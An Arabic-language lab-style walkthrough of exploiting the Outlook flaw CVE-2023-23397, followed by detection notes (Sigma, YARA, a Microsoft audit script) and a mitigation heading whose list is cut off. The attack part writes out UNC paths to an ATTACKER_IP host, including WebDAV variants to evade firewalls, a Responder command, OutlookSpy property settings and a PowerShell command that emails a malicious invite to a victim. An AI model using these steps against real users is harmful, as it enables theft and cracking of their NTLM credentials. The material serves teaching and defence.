
استغلال لثغرة CVE-2023-23397 لتسريب تجزئة NTLM في Outlook عبر دعوات تقويم خبيثة. يشمل تسليح PowerShell، تكامل Responder، وقواعد كشف للاستجابة للحوادث.
لاستغلال هذه الثغرة، يجب على المهاجم إنشاء دعوة تقويم ضارة تتضمن مرجعًا لملف صوتي يشير إلى ملف في مشاركة شبكة على جهاز المهاجم. على المستوى المنخفض، يخزن بريد Outlook الإلكتروني المرجع إلى ملف الصوت في معامل داخلي يسمى "PidLidReminderFileParameter". لضمان أن الصوت الذي نضمّنه في بريدنا الإلكتروني الخبيث سيتفوق على إعدادات التذكير الافتراضية للضحية، سنحتاج أيضًا إلى تعيين معامل آخر يسمى "PidLidReminderOverride" إلى true.
لتعيين الخاصية "PidLidReminderFileParameter" للإشارة إلى مشاركة شبكة، يمكن للمهاجم تحديد مسار اصطلاح التسمية العام (UNC) بدلاً من ملف محلي. يُستخدم UNC في أنظمة تشغيل Windows للعثور على موارد الشبكة (الملفات والطابعات والمستندات المشتركة). تتكون هذه المسارات من شرطتين مائلتين للخلف، وعنوان IP أو اسم الكمبيوتر المستضيف للمورد، واسم المشاركة واسم الملف. على سبيل المثال: \ATTACKER_IP\foo\bar.wav
عندما يتلقى الضحية البريد الإلكتروني الخبيث، يوجهه مسار UNC إلى مشاركة SMB تلك، مما يؤدي إلى تشغيل الثغرة. يتسبب ذلك في بدء النظام لعملية مصادقة NTLM ضد جهاز المهاجم، مما يسرب تجزئة Net-NTLMv2 يمكن للمهاجم محاولة اختراقها لاحقًا. إذا لم يكن بروتوكول SMB بديلاً قابلاً للتطبيق لسبب ما، فإن الإصدارات غير الخادمة من Windows ستقبل استخدام مسارات UNC التي تشير إلى المنفذين 80 أو 443، وتستخدم HTTP لاسترداد الملف من خادم ويب مُفعّل بـ WebDAV. بناء جملة مسار UNC هذا كما يلي:
\ATTACKER_IP@80\foo\bar.wav أو \ATTACKER_IP@443\foo\bar.wav
قد يكون هذا مفيدًا لتجاوز قيود جدار الحماية التي تمنع الاتصالات الصادرة إلى المنفذ 445 (SMB).
مرحلة الهجوم لنقم بصياغة بريد إلكتروني خبيث يحتوي على موعد مع المعاملات المطلوبة لتشغيله.
إعداد Responder: نظرًا لأننا نتوقع أن يقوم الضحية بتشغيل محاولة مصادقة ضد المهاجم على المنفذ 445، فسنقوم بإعداد Responder للتعامل مع عملية المصادقة والتقاط تجزئة NetNTLM لنا. إذا كنت غير معتاد على Responder، فهو ببساطة يحاكي خادم SMB ويلتقط أي محاولة مصادقة ضده. responder -I
محاولة صياغة موعد خبيث يدويًا:
OutlookSpy: حتى إذا لم يتمكن Outlook من تعيين ملف الصوت الخاص بالتذكير إلى مسار UNC، يمكننا استخدام إضافة OutlookSpy لتحقيق ذلك. ستسمح لك هذه الإضافة بالوصول مباشرة إلى جميع المعاملات الداخلية لـ Outlook، بما في ذلك ملف الصوت الخاص بالتذكير. ستحتاج إلى تثبيتها يدويًا قبل المتابعة. تأكد من إغلاق Outlook قبل تشغيل برنامج التثبيت.
يمكننا استخدام علامة التبويب النصية والنص التالي لتغيير المعاملات إلى القيم المطلوبة: AppointmentItem.ReminderOverrideDefault = true AppointmentItem.ReminderPlaySound = true AppointmentItem.ReminderSoundFile = "\<attacker's IP><share_folder>\file.wav"
تأكد من النقر على زر "Run" لتطبيق التغييرات. يمكنك العودة إلى علامة التبويب "Properties" للتحقق من أن القيم قد تم تغييرها بشكل صحيح. أخيرًا، احفظ موعدك لإضافته إلى تقويمك، مع التأكد من ضبط التذكير على "0 دقيقة" وأن الموعد يتطابق مع الوقت والتاريخ الحاليين، حيث نريد تشغيله فورًا.
إذا سار كل شيء كما هو متوقع، يجب أن ترى فورًا تذكيرًا يظهر. ويجب أن تتلقى محاولة المصادقة في وحدة تحكم Responder الخاصة بك على جهاز المهاجم.
التسليح تلخيصًا للخطوات المطلوبة لاستغلال الثغرة، سيحتاج المهاجم إلى:
الخطوتان 3 و 4 مغطاتان بالفعل بواسطة Responder، ولكن صياغة الموعد الخبيث يدويًا أمر ممل بعض الشيء. لحسن الحظ، تتوفر بعض الاستغلالات الجاهزة لإنشاء وإرسال موعد خبيث، أحدها موجود في هذا المستودع.
يستفيد هذا الاستغلال بلغة PowerShell من كائنات COM الخاصة بـ Outlook لبناء رسائل البريد الإلكتروني والمواعيد بسهولة. يحتوي على دالتين يمكننا استخدامهما: Save-CalendarNTLMLeak: تقوم هذه الدالة بإنشاء موعد خبيث وحفظه في تقويمك الخاص. مفيدة لأغراض الاختبار. Send-CalendarNTLMLeak: تقوم هذه الدالة بإنشاء موعد خبيث وإرساله عبر البريد الإلكتروني إلى ضحية. سيتم إرسال دعوة البريد الإلكتروني من حساب Outlook الافتراضي الحالي لديك.
استخدام الاستغلال: داخل PowerShell، يمكنك استيراد دوال الاستغلال باستخدام cmdlet "Import-Module". بعد ذلك، ستتوفر كلتا الدالتين في PowerShell الحالي الخاص بك. لإرسال بريد إلكتروني مع موعد خبيث، يمكنك تشغيل الأمر التالي:
PS C:\Users\User\Desktop> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\User\Desktop> Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\ATTACKER_IP\foo\bar.wav" -meetingsubject "Random Meeting" -meetingbody "This is just a regular meeting invitation."
نظرًا لأن الاستغلال يستخدم مثيل Outlook الحالي لإرسال البريد الإلكتروني، فمن المحتمل أن تحصل على بعض التنبيهات تطلب منك منح الإذن للبرنامج النصي لإرسال رسائل البريد الإلكتروني نيابة عنك. تأكد من الضغط على "سماح" (Allow) عدة مرات حسب الحاجة. تحديد خانة الاختيار "السماح بالوصول لمدة 10 دقائق" قد يساعد أيضًا في تسريع هذه العملية.
الكشف والتخفيف
الكشف: الآن بعد أن مررنا بخطوات تسليح هجوم CVE-2023-23397 على Outlook، دعنا نتحدث عن بعض الطرق لاكتشاف هذا الهجوم داخل الشبكة. يترك كل هجوم أنماطًا أو آثارًا يمكن أن تساعد فريق الكشف في تحديد التهديدات. كل هذا يتوقف على رؤية الشبكة ومصادر السجلات التي يتم جمعها وتوفير الرؤية المهمة.
قواعد Sigma: تكتشف قاعدة Sigma المرفقة قيام Outlook ببدء اتصال بمشاركة WebDav أو SMB، مما يشير إلى مرحلة ما بعد الاستغلال. تبحث قاعدة Sigma هذه عن "svchost.exe" الذي يطلق "rundll32.exe" مع وسائط أوامر مثل C:\windows\system32\davclnt.dll,DavSetCookie، مما يشير إلى مرحلة ما بعد الاستغلال/استخراج البيانات. يمكن تحويل قواعد SIGMA هذه إلى أداة الكشف والمراقبة للبحث عن نشاط سجل مشبوه داخل الشبكة.
قاعدة Yara: تبحث قاعدة YARA عن النمط داخل الملفات على القرص. يمكن استخدام قواعد YARA المجتمعية المرفقة للكشف عن ملف MSG المشبوه على القرص مع الخاصيتين اللتين تمت مناقشتهما في المهام أعلاه.
أصدرت Microsoft برنامج PowerShell النصي "CVE-2023-23397.ps1" الذي سيفحص عناصر مراسلة Exchange مثل البريد والتقويم والمهام لمعرفة ما إذا تم العثور على مؤشرات الاختراق (IOCs) المتعلقة بهجوم CVE-2023-23397. يمكن استخدام البرنامج النصي لتدقيق وتنظيف العناصر المكتشفة.
التخفيف: يتم استغلال هذه الثغرة على نطاق واسع في البيئة الحقيقية. بعض الخطوات الموصى بها كما أوصت بها Microsoft للتخفيف من هذا الهجوم وتجنبه هي: